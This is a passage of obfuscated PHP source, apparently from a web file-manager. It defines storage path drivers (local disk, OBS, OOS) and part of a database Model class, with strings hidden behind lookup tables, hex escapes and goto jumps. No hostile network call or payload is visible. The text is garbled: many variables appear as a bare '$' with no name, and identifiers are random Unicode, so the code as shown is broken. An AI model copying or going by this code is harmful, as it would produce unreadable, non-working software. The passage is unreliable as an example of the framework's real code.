$ٿ->getType(); if ($ != $잚) { return !1; } if ($ == $Ӝ[831]) { return !0; } if ($ == $Ӝ[109]) { return !0; } if ($->pathDriver == $ٿ->pathDriver) { return !0; } return !1; } public static function copyUpdate($ӭ, $̰) { $ϗۋ =& $_SERVER[ձК]; if (!IO::exist($ӭ)) { return !1; } if (!IO::exist($̰)) { IO::mkdir($̰); } $ě = array_to_keyvalue(self::listAllSimple($ӭ), $ϗۋ[87]); $ưΘ = array_to_keyvalue(self::listAllSimple($̰), $ϗۋ[87]); $샩 = array(); $ԉ = array(); foreach ($ě as $ => $) { if (isset($ưΘ[$])) { if ($[$ϗۋ[78]] == 1) { continue; } if ($ưΘ[$][$ϗۋ[79]] == $[$ϗۋ[79]]) { continue; } } if ($[$ϗۋ[78]] == 1) { $ԉ[] = $̰ . $ϗۋ[8] . trim($, $ϗۋ[8]); continue; } $Ӕ = strstr(trim($, $ϗۋ[8]), $ϗۋ[8]) ? get_path_father($) : $ϗۋ[12]; $샩[] = array($ϗۋ[1243] => $[$ϗۋ[89]], $ϗۋ[1244] => rtrim($̰, $ϗۋ[8]) . $ϗۋ[8] . $Ӕ, $ϗۋ[1245] => $); } $ = array($ϗۋ[232] => $샩, $ϗۋ[78] => $ԉ); Hook::trigger($ϗۋ[1246], $ӭ, $̰, $); foreach ($ԉ as $) { IO::mkdir($); } foreach ($샩 as $) { IO::copy($[$ϗۋ[1243]], $[$ϗۋ[1244]], REPEAT_REPLACE); } } public static function fileSubstr($ܐ, $ݜ։, $멆 = false) { $暚 =& $_SERVER[ձК]; $ڱ = self::driverMake($ܐ); $ϴ = $ڱ->size($ܐ); $ = $ݜ։; $γ = $멆; if ($ݜ։ < 0) { $ݜ։ = $ϴ + $ݜ։; } if ($멆 === !1) { $멆 = $ϴ - $ݜ։; } if ($ݜ։ + $멆 > $ϴ) { $멆 = $ϴ - $ݜ։; } if (!$ϴ && $ڱ->getType() == $暚[109] && !$ڱ->exist($ܐ)) { $ā = get_path_this($ܐ); $է = parse_url_query($ā); if (is_array($է) && isset($է[$暚[32]])) { $ā = urldecode($է[$暚[32]]); } throw new Exception($暚[1247] . LNG($暚[1248]) . $暚[1045] . clear_html($ā) . $暚[12]); } if ($멆 <= 0) { return $暚[12]; } if ($ݜ։ < 0 || $ݜ։ >= $ϴ || $멆 > 1024 * 1024 * 10) { throw new Exception("\146\151\x6c\x65\122\x65\141\x64\40\145\162\x72\157\162\41\40\163\164\141\162\x74\75{$ݜ։}\x3b\x6c\145\x6e\x67\164\x68\x3d{$멆}\73\40\x73\151\172\x65\75{$ϴ}\x3b"); } $ = $ڱ->fileSubstr($ܐ, $ݜ։, $멆); if (!$ && $멆 && isset($GLOBALS[$暚[1249]])) { throw new Exception($GLOBALS[$暚[1249]][$暚[1250]]); } return $; } private static function driverMake(&$) { $¶ =& $_SERVER[ձК]; $怼 = KodIO::parse($); if (!self::$driverListSystem) { $竏 = Model($¶[841])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($竏, $¶[477]); } if ($怼[$¶[33]] == KodIO::KOD_IO && !self::$driverListSystem[$怼[$¶[477]]]) { throw new Exception($¶[1251]); return !1; } $ = $怼[$¶[1252]]; $䜝 = self::driverGet($怼, $); return $䜝; } private static function driverGet($, &$ޘ) { $ =& $_SERVER[ձК]; $ = $[$[1253]]; $ = $[$[477]]; switch ($[$[33]]) { case KodIO::KOD_IO: $ڏ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ޘ = $ . $ޘ; $ڏ = array($[1254] => $[1255], $[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $Ŀǐ = $GLOBALS[$[1256]]; self::$driverListUser = array_to_keyvalue($Ŀǐ, $[477]); } $ڏ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ڏ = array($[1254] => $[1257], $[6] => $); $й = Action($[1258])->sharePathInfo($[$[87]]); $ޘ = $й[$[193]]; if (!$й[$[193]]) { $ƌ = Model($[669])->getInfo($й[$[670]]); $ޘ = KodIO::clear($ƌ[$[1259]] . $[$[1252]]); $[$[562]] = $ƌ; $[$[1234]] = $ޘ; $ڏ = array($[1254] => $[1260], $[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ڏ = array($[1254] => $[1261], $[6] => $); $ƌ = Model($[669])->getInfo($[$[477]]); if ($ƌ[$[193]] == $[230]) { $ޘ = KodIO::clear($ƌ[$[1259]] . $[$[1252]]); $[$[562]] = $ƌ; $[$[1234]] = $ޘ; $ڏ = array($[1254] => $[1262], $[6] => $); } else { if (!$ޘ) { $ޘ = $ƌ[$[193]]; } } break; default: $ޘ = $[$[87]]; $ڏ = array($[1254] => $[1263]); break; } $ = $[$[87]]; if (!isset(self::$driverCache[$])) { $ή = strtolower($ڏ[$[98]]); $飕с = $GLOBALS[$[6]][$[92]][$[900]]; $ = $[77] . (isset($飕с[$ή]) ? $飕с[$ή] : ucfirst($ή)); if (!class_exists($)) { show_json("{$}\40\x6e\x6f\x74\40\145\170\151\x73\x74\163\41", !1); } $ = isset($ڏ[$[6]]) ? $ڏ[$[6]] : !1; self::$driverCache[$] = new $($); } $ؙն = self::$driverCache[$]; $ؙն->pathDriver = $; $ؙն->pathBase = $[12]; if (isset($ڏ[$[6]][$[1264]])) { $ؙն->pathBase = rtrim($ڏ[$[6]][$[1264]], $[8]) . $[8]; $ޘ = $ؙն->pathBase . ltrim($ޘ, $[8]); } $ޘ = $ؙն->getPath($ޘ); if (isset($[$[1234]])) { $ޘ = $[$[1234]]; } $ؙն->path = $ޘ; return $ؙն; } public static function errorTips($ϰ = false) { $ޚ =& $_SERVER[ձК]; static $ˏ = array(); $ϳŝ = 1000; if ($ϰ === -1) { return $ˏ ? $ˏ[count($ˏ) - 1] : $ޚ[12]; } if ($ϰ === !1) { return implode($ޚ[287], $ˏ); } if (count($ˏ) >= $ϳŝ) { $ˏ = array_slice($ˏ, $ϳŝ * 0.5, $ϳŝ); } $ˏ[] = $ϰ; write_log($ޚ[176] . ACTION . $ޚ[1265] . $ϰ, $ޚ[1266]); } public static function getLastError($ = '') { $ͮϏ = self::errorTips(-1); return $ͮϏ ? $ͮϏ : $; } } goto Bم; Fꇥ: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[ձК][1413]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($) { $ԣ =& $_SERVER[ձК]; global $config; return $this->iconvTo($, $config[$ԣ[1442]], $config[$ԣ[1441]]); } public function iconvSystem($) { $՛ =& $_SERVER[ձК]; global $config; return $this->iconvTo($, $config[$՛[1441]], $config[$՛[1442]]); } public function getPathOuter($ȥҺ) { $ڷ =& $_SERVER[ձК]; $ӆ = $this->iconvApp($this->pathBase); $ȥҺ = $this->iconvApp($ȥҺ); if (substr($ӆ, 0, 2) == $ڷ[1413]) { $ӆ = BASIC_PATH . substr($ӆ, 2); } if (substr($ȥҺ, 0, 2) == $ڷ[1413]) { $ȥҺ = BASIC_PATH . substr($ȥҺ, 2); } $ӆ = KodIO::clear($ӆ); $ȥҺ = KodIO::clear($ȥҺ); $ȥҺ = substr($ȥҺ, strlen($ӆ)); if (empty($this->pathDriver)) { return $ȥҺ; } return $this->pathDriver . $ڷ[8] . ltrim($ȥҺ, $ڷ[8]); } public function mkfile($߉, $ = '', $ؚ = REPEAT_RENAME) { $߉ = $this->iconvSystem($߉); @touch($߉); if ($) { file_put_contents($߉, $); } @chmod($߉, $this->pathAuth); if (is_file($߉)) { return $this->getPathOuter($߉); } $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ = $this->iconvSystem($); if (is_dir($)) { return $this->getPathOuter($); } @mkdir($, $this->pathAuth, !0); @chmod($, $this->pathAuth); if (is_dir($)) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } public function copyFile($, $Ź) { $this->mkdir($this->pathFather($Ź)); $ = $this->iconvSystem($); $Ź = $this->iconvSystem($Ź); $ = copy_64($, $Ź); @chmod($Ź, $this->pathAuth); if ($) { return $this->getPathOuter($Ź); } $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } public function moveFile($ݲȡ, $Ű) { $this->mkdir($this->pathFather($Ű)); $ݲȡ = $this->iconvSystem($ݲȡ); $Ű = $this->iconvSystem($Ű); $濠 = intval(@rename($ݲȡ, $Ű)); if (!$濠) { if ($濠 = intval(@copy_64($ݲȡ, $Ű))) { @unlink($ݲȡ); } } @chmod($Ű, $this->pathAuth); if ($濠) { return $this->getPathOuter($Ű); } $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } public function movePath($, $ϭ턂, $ӈ = false) { $틗 =& $_SERVER[ձК]; $ = $this->iconvSystem($); $ϭ턂 = $this->iconvSystem($ϭ턂); $ꬭ = rtrim($ϭ턂, $틗[8]) . $틗[8] . ($ӈ ? $ӈ : get_path_this($)); if (file_exists($ꬭ)) { return !1; } $ = intval(@rename($, $ꬭ)); $ = file_exists($ꬭ); if ($) { return $this->getPathOuter($ꬭ); } $this->writeLog(__FUNCTION__ . $틗[1453], !0); return !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (@unlink($)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[ձК]; $ = $this->iconvSystem($); if (!is_dir($)) { return !0; } if (!($Ј˷ = opendir($))) { return !1; } while (($ӭ = readdir($Ј˷)) !== !1) { if ($ӭ == $[10] || $ӭ == $[1365]) { continue; } $ = $ . $[8] . $ӭ; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($Ј˷); return rmdir($); } public function rename($, $) { $ =& $_SERVER[ձК]; $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ݴ = $this->pathFather($); $ = rtrim($ݴ, $[8]) . $[8] . $; $묝 = @rename($, $); $ = $this->iconvApp($); if ($묝) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1453], !0); return !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($ڔ, &$ɇ, $ڰͨ = true) { $͇ =& $_SERVER[ձК]; check_abort_echo(); $ڔ = rtrim($ڔ, $͇[8]) . $͇[8]; if ($ڰͨ) { $ڔ = $this->iconvSystem($ڔ); } if (!($蔛 = @opendir($ڔ))) { return; } while (($ = readdir($蔛)) !== !1) { if ($ == $͇[10] || $ == $͇[1365]) { continue; } $ = $ڔ . $; if (is_file($) || is_link($)) { $ɇ[$͇[80]]++; $ɇ[$͇[79]] += filesize_64($); } else { if (is_dir($)) { $ɇ[$͇[81]]++; $this->infoChildren($, $ɇ, !1); } } } closedir($蔛); } private function folderInfo($, $ߙ = false) { $ =& $_SERVER[ձК]; $ = rtrim($, $[8]) . $[8]; $չ = $this->iconvApp($this->pathThis($)); if ($ߙ) { return array($[32] => $չ, $[87] => $this->getPathOuter($), $[33] => $[78]); } $ = array($[32] => $չ, $[87] => $this->getPathOuter($), $[33] => $[78], $[233] => @filectime($), $[88] => @filemtime($), $[1457] => @fileatime($), $[1458] => is_readable($), $[1459] => is_writable($), $[1460] => get_mode($)); return $; } private function fileInfo($交, $⛾ = false) { $ո =& $_SERVER[ձК]; $ރ = $this->iconvApp($this->pathThis($交)); if ($⛾) { return array($ո[32] => $ރ, $ո[87] => $this->getPathOuter($交), $ո[33] => $ո[232], $ո[79] => $this->size($交), $ո[169] => $this->ext($ރ)); } $Ż = array($ո[32] => $ރ, $ո[87] => $this->getPathOuter($交), $ո[33] => $ո[232], $ո[233] => @filectime($交), $ո[88] => @filemtime($交), $ո[1457] => @fileatime($交), $ո[79] => $this->size($交), $ո[169] => $this->ext($ރ), $ո[1458] => is_readable($交), $ո[1459] => is_writable($交), $ո[1460] => get_mode($交)); return $Ż; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($؎) { $؎ = $this->iconvSystem($؎); return @is_file($؎); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($ȵ, $ۄ = false) { $ =& $_SERVER[ձК]; $ȵ = $this->iconvSystem($ȵ); $ȵ = rtrim($ȵ, $[8]) . $[8]; $ڽ = array($[85] => array(), $[86] => array()); if (!($뙁 = @opendir($ȵ))) { return $ڽ; } while (($դ = readdir($뙁)) !== !1) { if ($դ == $[10] || $դ == $[1365]) { continue; } $䜴̅ = $ȵ . $դ; if (is_file($䜴̅)) { $ڽ[$[86]][] = $this->fileInfo($䜴̅, $ۄ); } else { $ڽ[$[85]][] = $this->folderInfo($䜴̅, $ۄ); } } closedir($뙁); return $ڽ; } public function listAll($, &$ = array()) { $̐ =& $_SERVER[ձК]; $ = $this->iconvSystem($); $ = rtrim($, $̐[8]) . $̐[8]; if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $̐[10] || $ == $̐[1365]) { continue; } $Š = $ . $; $ͩІ = is_dir($Š) && !is_link($Š) ? 1 : 0; $Š = $ͩІ ? $Š . $̐[8] : $Š; $[] = array($̐[87] => $Š, $̐[78] => $ͩІ, $̐[88] => intval(@filemtime($Š)), $̐[79] => $ͩІ ? 0 : intval($this->size($Š))); if ($ͩІ) { $this->listAll($Š, $); } } closedir($); return $; } public function has($, $ֆ = false, $ = true) { $Ɉ =& $_SERVER[ձК]; $ = $this->iconvSystem($); $ = rtrim($, $Ɉ[8]) . $Ɉ[8]; if (!($ܸͩ = @opendir($))) { return !1; } $ = 0; $Ϋ = 0; $몟 = 0; while (($ = readdir($ܸͩ)) !== !1) { if ($ == $Ɉ[10] || $ == $Ɉ[1365]) { continue; } $Ԧ = $ . $; if ($ֆ) { $몟++; if (@is_file($Ԧ)) { $++; } else { $Ϋ++; } if ($몟 > 10000) { break; } continue; } if ($) { if (@is_file($Ԧ)) { return !0; } } else { if (@is_dir($Ԧ . $Ɉ[8])) { return !0; } } } closedir($ܸͩ); if ($ֆ) { return array($Ɉ[241] => $, $Ɉ[242] => $Ϋ); } return !1; } public function hashSimple($ڷ) { $ =& $_SERVER[ձК]; if (!$ڷ) { return md5($[12]); } $ڷ = $this->iconvSystem($ڷ); $ = $this->size($ڷ); $ҁ = 200; $⨺ = 50; if ($ <= $ҁ * $⨺) { return $this->hashMd5($ڷ) . $; } $ = $[12]; $ = intval($ / $⨺); $Κ = fopen($ڷ, $[1461]); if (!$Κ) { return $; } for ($ = 0; $ < $⨺; $++) { fseek_64($Κ, $ * $); $ .= fread($Κ, $ҁ); } fseek_64($Κ, $ - $ҁ); $ .= fread($Κ, $ҁ); fclose($Κ); return md5($) . $; } public function getContent($Ʊ) { $Ʊ = $this->iconvSystem($Ʊ); return file_get_contents($Ʊ); } public function setContent($焥, $ = '') { $焥 = $this->iconvSystem($焥); $Ν = @file_put_contents($焥, $, LOCK_EX); if (!$Ν) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); } clearstatcache(); @chmod($焥, $this->pathAuth); return $Ν === !1 ? !1 : !0; } public function fileSubstr($, $Ǜ = 0, $˝ = false) { $ =& $_SERVER[ձК]; $ = $this->iconvSystem($); if ($˝ === !1) { $˝ = $this->size($); } if ($˝ <= 0) { return $[12]; } $Ϸ = fopen($, $[1461]); if (!$Ϸ) { return !1; } fseek_64($Ϸ, $Ǜ); $ = fread($Ϸ, $˝); fclose($Ϸ); if (!$) { $this->writeLog(__FUNCTION__ . $[1453], !0); } return $; } public function upload($ӧ, $ݱ, $Ǯ = false, $ѩ = REPEAT_REPLACE) { if ($Ǯ) { return $this->moveFile($ݱ, $ӧ); } return $this->copyFile($ݱ, $ӧ); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($Ӫ͐, $ǡ) { return $this->iconvSystem($Ӫ͐); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[ձК][249]); } public function fileOutImage($٭, $Ǹ = 250) { $ަ =& $_SERVER[ձК]; if ($this->size($٭) > 1024 * 1024 * 25) { return $this->fileOutImageServer($٭, $Ǹ); } $ = array($ަ[1462] => $ަ[1463] . $Ǹ . $ަ[1464]); $͈ = $this->link($٭, $); $this->fileOutLink($͈); } public function fileOutLink($Љ) { $饊 =& $_SERVER[ձК]; if (substr($Љ, 0, 7) == $饊[218]) { $Љ = $饊[219] . substr($Љ, 7); } header($饊[175] . $Љ); die; } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[ձК][249]); } public function fileOutLink($Ĵ¹) { $؏ =& $_SERVER[ձК]; if (substr($Ĵ¹, 0, 7) == $؏[218]) { $Ĵ¹ = $؏[219] . substr($Ĵ¹, 7); } header($؏[175] . $Ĵ¹); die; } public function uploadFormData($, $ = 3600) { return $this->uploadFormDataV2($, $); } } goto f͗ѭ; A׆˥: define($_SERVER[ձК][322], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\x62\x6c\x65", "\157\162\x64\145\162", "\x61\154\x69\x61\163", "\x68\141\x76\151\x6e\147", "\147\162\x6f\165\x70", "\154\x6f\x63\x6b", "\x64\151\163\x74\x69\156\143\x74", "\x61\x75\x74\157", "\x66\x69\154\164\145\x72", "\166\x61\154\x69\x64\141\164\x65", "\x72\145\x73\165\154\x74", "\x62\x69\156\x64", "\x74\x6f\153\145\156"); public function __construct($ = '', $ = '', $ = '') { $Ӹ =& $_SERVER[ձК]; $this->_initialize(); if (!empty($)) { if (strpos($, $Ӹ[10])) { list($this->dbName, $this->name) = explode($Ӹ[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $Ӹ[12]; } elseif ($Ӹ[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($Ӹ[323]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[ձК]; if (empty($this->fields)) { if (think_config($[324])) { $ = $this->dbName ? $this->dbName : think_config($[325]); $ٹ = think_var_cache($[326] . strtolower(get_path_this($) . $[10] . $this->name)); if ($ٹ) { $ = think_config($[327]); if (empty($) || $ٹ[$[328]] == $) { $this->fields = $ٹ; return; } } } $this->flush(); } } public function flush() { $״Ո =& $_SERVER[ձК]; $this->db->setModel($this->name); $ђ = $this->db->getFields($this->getTableName()); if (!$ђ) { return !1; } $this->fields = array_keys($ђ); $this->fields[$״Ո[329]] = !1; foreach ($ђ as $ => $Ջ) { $ˉ[$] = $Ջ[$״Ո[33]]; if ($Ջ[$״Ո[39]]) { $this->fields[$״Ո[330]] = $; if ($Ջ[$״Ո[42]]) { $this->fields[$״Ո[329]] = !0; } } } $this->fields[$״Ո[331]] = $ˉ; if (think_config($״Ո[327])) { $this->fields[$״Ո[328]] = think_config($״Ո[327]); } if (think_config($״Ո[324])) { $ = $this->dbName ? $this->dbName : think_config($״Ո[325]); think_var_cache($״Ո[326] . strtolower(get_path_this($) . $״Ո[10] . $this->name), $this->fields); } } public function switchModel($Έ, $㥚 = array()) { $Ŭ =& $_SERVER[ձК]; $ = ucwords(strtolower($Έ)) . $Ŭ[332]; if (!class_exists($)) { think_exception($ . think_lang($Ŭ[333])); } $this->_extModel = new $($this->name); if (!empty($㥚)) { foreach ($㥚 as $) { $this->_extModel->setProperty($, $this->{$}); } } return $this->_extModel; } public function __set($Ňؿ, $ڰ嵏) { $this->data[$Ňؿ] = $ڰ嵏; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($畞) { return isset($this->data[$畞]); } public function __unset($ڧ) { unset($this->data[$ڧ]); } public function __call($܋, $ߚ) { $ =& $_SERVER[ձК]; if (in_array(strtolower($܋), $this->methods, !0)) { $this->options[strtolower($܋)] = $ߚ[0]; return $this; } elseif (in_array(strtolower($܋), array($[334], $[335], $[336], $[337], $[338]), !0)) { $ = isset($ߚ[0]) ? $ߚ[0] : $[222]; $ = $this->db->parseKey($); return $this->getField(strtoupper($܋) . $[339] . $ . $[340] . $܋, $[334]); } elseif (strtolower(substr($܋, 0, 5)) == $[341]) { $ = think_parse_name(substr($܋, 5)); $[$] = $ߚ[0]; return $this->where($)->find(); } elseif (strtolower(substr($܋, 0, 10)) == $[342]) { $؞ޏ = think_parse_name(substr($܋, 10)); $[$؞ޏ] = $ߚ[0]; return $this->where($)->getField($ߚ[1]); } elseif (isset($this->_scope[$܋])) { return $this->scope($܋, $ߚ[0]); } elseif (method_exists($this, $܋)) { array_unshift($ߚ, $܋); return call_user_func_array(array($this, $[343]), $ߚ); } else { return call_user_func_array(array(parent, $܋), $ߚ); } } protected function call() { $ݫ =& $_SERVER[ձК]; $̍ = func_get_args(); $ = array_shift($̍); $Ĭ = $; if (is_array($)) { $Ĭ = $[1]; $ = $[0]; } $ĸ됊 = count($̍) - 1; if (isset($̍[$ĸ됊]) && $̍[$ĸ됊] === $) { think_exception(__CLASS__ . $ݫ[4] . $ . think_lang($ݫ[344])); return; } $̍[] = $; if (method_exists($this, $ݫ[345])) { $ = call_user_func_array(array($this, $ݫ[346]), array($Ĭ, $̍)); if (!is_null($) && $ !== !1) { return $; } } $ = call_user_func_array(array($this, $), $̍); if (method_exists($this, $ݫ[347])) { $ = call_user_func_array(array($this, $ݫ[348]), array($Ĭ, $̍, $)); if ($) { return $; } } return $; } protected function _initialize() { } protected function _facade($) { $⪬ =& $_SERVER[ձК]; if (!empty($this->fields)) { foreach ($ as $ => $¾) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($¾)) { $this->_parseType($, $); } } } if (!empty($this->options[$⪬[349]])) { $ = array_map($this->options[$⪬[349]], $); unset($this->options[$⪬[349]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($ܐ = '', $ = array(), $Ì = false) { if (empty($ܐ)) { if (!empty($this->data)) { $ܐ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[ձК][350]); return !1; } } $ = $this->_parseOptions($); $ܐ = $this->_facade($ܐ); if (!1 === $this->_beforeInsert($ܐ, $)) { return !1; } $ı = $this->db->insert($ܐ, $, $Ì); if (!1 !== $ı) { $ = $this->getLastInsID(); if ($) { $ܐ[$this->getPk()] = $; $this->_after_insert($ܐ, $); return $; } $this->_after_insert($ܐ, $); } return $ı; } protected function _beforeInsert(&$ʥ, $һ) { } protected function _after_insert($, $) { } public function addAll($ǚ, $˞ = array(), $ȁ = false) { $ =& $_SERVER[ձК]; if (empty($ǚ)) { $this->error = think_lang($[350]); return !1; } $˞ = $this->_parseOptions($˞); foreach ($ǚ as $ȅ => $셯Ҥ) { $ǚ[$ȅ] = $this->_facade($셯Ҥ); } if (method_exists($this->db, $[351])) { $Б = $this->db->insertAll($ǚ, $˞, $ȁ); } else { $this->startTrans(); foreach ($ǚ as $ȅ => $셯Ҥ) { $Б = $this->db->insert($셯Ҥ, $˞, $ȁ); } $this->commit(); } if (!1 !== $Б) { $ = $this->getLastInsID(); if ($) { return $; } } return $Б; } public function selectAdd($ = '', $ = '', $ = array()) { $您 =& $_SERVER[ձК]; $ = $this->_parseOptions($); if (!1 === ($ᾗ = $this->db->selectInsert($ ? $ : $[$您[352]], $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($您[353]); return !1; } else { return $ᾗ; } } public function save($ݽ = '', $ = array()) { $Ջͻ =& $_SERVER[ձК]; if (empty($ݽ)) { if (!empty($this->data)) { $ݽ = $this->data; $this->data = array(); } else { $this->error = think_lang($Ջͻ[350]); return !1; } } $ݽ = $this->_facade($ݽ); $ = $this->_parseOptions($); $К = $this->getPk(); if (!isset($[$Ջͻ[354]])) { if (isset($ݽ[$К])) { $[$К] = $ݽ[$К]; $[$Ջͻ[354]] = $; unset($ݽ[$К]); } else { $this->error = think_lang($Ջͻ[353]); return !1; } } if (is_array($[$Ջͻ[354]]) && isset($[$Ջͻ[354]][$К])) { $ȇ = $[$Ջͻ[354]][$К]; } if (!1 === $this->_beforeUpdate($ݽ, $)) { return !1; } $Ϭۉ = $this->db->update($ݽ, $); if (!1 !== $Ϭۉ) { if (isset($ȇ)) { $ݽ[$К] = $ȇ; } $this->_afterUpdate($ݽ, $); } return $Ϭۉ; } protected function _beforeUpdate(&$ǫ, $) { } protected function _afterUpdate($ަ, $) { } public function delete($ţ = array()) { $ =& $_SERVER[ձК]; if (empty($ţ) && empty($this->options[$[354]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($ţ) || is_string($ţ)) { if (strpos($ţ, $[50])) { $[$] = array($[355], $ţ); } else { $[$] = $ţ; } $this->options[$[354]] = $; } $ţ = $this->_parseOptions(); if (is_array($ţ[$[354]]) && isset($ţ[$[354]][$])) { $ = $ţ[$[354]][$]; } $ = $this->db->delete($ţ); if (!1 !== $) { $Դ = array(); if (isset($)) { $Դ[$] = $; } $this->_after_delete($Դ, $ţ); } return $; } protected function _after_delete($Γ, $) { } public function select($ = array()) { $ =& $_SERVER[ձК]; if (is_string($) || is_numeric($)) { $ĝ = $this->getPk(); if (strpos($, $[50])) { $Ш[$ĝ] = array($[355], $); } else { $Ш[$ĝ] = $; } $this->options[$[354]] = $Ш; } elseif (!1 === $) { $ = $this->_parseOptions(); return $[356] . $this->db->buildSelectSql($) . $[357]; } $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $); return $; } protected function _afterSelect(&$, $ŗю) { } public function buildSql($ = array()) { $̶օ =& $_SERVER[ձК]; $ = $this->_parseOptions($); return $̶օ[356] . $this->db->buildSelectSql($) . $̶օ[357]; } public function optionsValue($Ĵܚ = null) { if (is_null($Ĵܚ)) { return $this->options; } elseif (is_array($Ĵܚ)) { $this->options = array_merge($this->options, $Ĵܚ); } } protected function _parseOptions($ = array()) { $뷒 =& $_SERVER[ձК]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$뷒[358]])) { $[$뷒[358]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$뷒[359]])) { $[$뷒[358]] .= $뷒[53] . $[$뷒[359]]; } $[$뷒[360]] = $this->name; if (isset($[$뷒[354]]) && is_array($[$뷒[354]]) && !empty($) && !isset($[$뷒[361]]) && !isset($[$뷒[358]])) { foreach ($[$뷒[354]] as $ => $) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($)) { $this->_parseType($[$뷒[354]], $); } } elseif (!is_numeric($) && $뷒[11] != substr($, 0, 1) && !1 === strpos($, $뷒[10]) && !1 === strpos($, $뷒[339]) && !1 === strpos($, $뷒[214]) && !1 === strpos($, $뷒[286])) { unset($[$뷒[354]][$]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$ֵ) { } protected function _parseType(&$ԉ, $) { $¯ =& $_SERVER[ձК]; if (empty($this->options[$¯[362]][$¯[4] . $])) { $Ϧ = strtolower($this->fields[$¯[331]][$]); if (!1 !== strpos($Ϧ, $¯[363])) { } elseif (!1 === strpos($Ϧ, $¯[364]) && !1 !== strpos($Ϧ, $¯[365])) { $ԉ[$] = intval($ԉ[$]); } elseif (!1 !== strpos($Ϧ, $¯[366]) || !1 !== strpos($Ϧ, $¯[367])) { $ԉ[$] = floatval($ԉ[$]); } elseif (!1 !== strpos($Ϧ, $¯[368])) { $ԉ[$] = (bool) $ԉ[$]; } } } public function find($Ɠ۲ = array()) { $ˀ =& $_SERVER[ձК]; if (is_numeric($Ɠ۲) || is_string($Ɠ۲)) { $̄[$this->getPk()] = intval($Ɠ۲); $this->options[$ˀ[354]] = $̄; } $this->options[$ˀ[369]] = 1; $Ɠ۲ = $this->_parseOptions(); $Ŧ = $this->db->select($Ɠ۲); if (!1 === $Ŧ) { return !1; } if (empty($Ŧ)) { return null; } $this->data = $Ŧ[0]; $this->_afterFind($this->data, $Ɠ۲); if (!empty($this->options[$ˀ[370]])) { return $this->returnResult($this->data, $this->options[$ˀ[370]]); } return $this->data; } protected function _afterFind(&$նʀ, $Ȯ) { } protected function returnResult($ރ, $݆ = '') { $Ǝ =& $_SERVER[ձК]; if ($݆) { if (is_callable($݆)) { return call_user_func($݆, $ރ); } switch (strtolower($݆)) { case $Ǝ[371]: return json_encode($ރ); case $Ǝ[372]: return xml_encode($ރ); } } return $ރ; } public function parseFieldsMap($˟Ă, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ == 1) { if (isset($˟Ă[$])) { $˟Ă[$] = $˟Ă[$]; unset($˟Ă[$]); } } else { if (isset($˟Ă[$])) { $˟Ă[$] = $˟Ă[$]; 